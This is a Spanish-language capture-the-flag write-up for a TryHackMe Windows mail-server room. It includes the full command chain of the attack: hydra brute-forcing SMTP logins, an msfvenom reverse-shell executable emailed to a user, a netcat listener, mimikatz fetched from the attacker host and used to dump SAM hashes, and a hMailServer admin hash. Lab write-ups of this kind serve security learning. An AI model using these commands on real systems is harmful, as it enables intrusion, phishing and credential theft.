TryHackMe - You Got Mail (Tienes correo)
La máquina Windows también es divertida
Introducción
Vamos a mejorar nuestro juego y probar una habitación Medium. Se supone que debemos ingresar al sitio web brownbrick.co y obtener acceso a través de una dirección de correo electrónico, supongo.
Nmap
Comencemos con el escaneo nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
nmap -T4 -n -sC -sV -Pn -p- 10.10.148.225
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: OK IMAP4rev1 IMAP4 completed CHILDREN SORT RIGHTS=texkA0001 ACL CAPABILITY IDLE QUOTA NAMESPACE
445/tcp open microsoft-ds?
587/tcp open smtp hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-18T19:57:00+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=BRICK-MAIL
| Not valid before: 2025-02-17T19:53:26
|_Not valid after: 2025-08-19T19:53:26
| rdp-ntlm-info:
| Target_Name: BRICK-MAIL
| NetBIOS_Domain_Name: BRICK-MAIL
| NetBIOS_Computer_Name: BRICK-MAIL
| DNS_Domain_Name: BRICK-MAIL
| DNS_Computer_Name: BRICK-MAIL
| Product_Version: 10.0.17763
|_ System_Time: 2025-02-18T19:56:52+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-18T19:56:52
|_ start_date: N/A
Muchos puertos abiertos con servicios principalmente de Microsoft.
Reconocimiento
Junto con los puertos abiertos, hemos recibido un sitio web https://brownbrick.co
, así que visitémoslo.
Podemos ir directamente a la página del equipo y podemos ver las direcciones de correo electrónico.
Hagamos una lista para poder hacer fuerza bruta más tarde.
Y podemos usar una lista de contraseñas usando la herramienta cewl
de todo el sitio web
1
$ cewl --lowercase https://brownbrick.co/ > pass.txt
Brute Force
Bien, ya que tenemos nuestra lista de nombres de usuario y contraseñas, intentemos forzar el acceso a través del puerto SMTP 587/tcp
ya que estaba abierto. Usaremos hydra ya que es el más fácil.
1
hydra -L team.txt -P pass.txt 10.10.148.225 smtp -s 587
¡Y hemos conseguido un éxito!
1
2
[587][smtp] host: 10.10.148.225 login: [email protected] password: bricks
Dado que existen credenciales válidas, podemos usarlas para enviar correos electrónicos a otros miembros del equipo mediante metasploit
(msvenom)
Creemos un ejecutable de shell inverso para poder enviarlo a otros miembros del equipo
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f exe -o shell.exe
Escuchemos el puerto 1337 y enviemos un correo electrónico con nuestro shell.exe
adjunto
1
2
nc -lvnp 1337
listening on [any] 1337 ...
Y enviemos un correo electrónico al primer miembro del equipo:
1
2
sendemail -f "[email protected]" -t "[email protected]" -u "test" -m "test" -a shell.exe -s 10.10.148.225:25 -xu "[email protected]" -xp "bricks"
Feb 18 21:22:08 kali sendemail[23334]: Email was sent successfully!
¡Y podemos ver que el usuario ya ha hecho clic en nuestro archivo adjunto!
1
2
3
4
5
6
7
connect to [10.11.75.122] from (UNKNOWN) [10.10.148.225] 49759
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Mail\Attachments>
whoami
brick-mail\wrohit
Bandera de usuario
La bandera está en el escritorio de nuestro usuario así que vamos a conseguirlo
Obteniendo contraseñas
Para ello, utilizaremos la herramienta mimikatz
.
Podemos descargar hashes desde una máquina Windows, por lo que, en primer lugar, debemos obtener la aplicación mimikatz.exe
en nuestra máquina de destino.
Iniciemos un servidor http en nuestra máquina atacante donde se encuentra mimikatz.exe
y nos desempeñaremos como un servidor de descarga.
1
2
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y luego descargar el archivo desde nuestra máquina
1
2
3
4
curl http://10.11.75.122/mimikatz.exe -o mimikatz.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1323k 100 1323k 0 0 1323k 0 0:00:01 --:--:-- 0:00:01 3393k
Ahora podemos usar mimikatz.exe para volcar hashes
1
2
3
4
5
6
7
8
mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
Necesitamos elevar privilegios usando token::elevate
1
2
mimikatz # privilege::debug
Privilege '20' OK
Y volcar hashes
1
2
3
4
mimikatz # lsadump::sam
RID : 000003f6 (1014)
User : wrohit
Hash NTLM: 8458995f1d0a4b0c107fb8e23362c814
Ahora descifra el hash usando crackstation.net
Y para obtener la contraseña de hMail vamos a
1
2
C:\Program Files (x86)\hMailServer\Bin>type hMailServer.INI
AdministratorPassword=5f4dcc3b5aa765d61d8327deb882cf99
Crackstation de nuevo y hemos terminado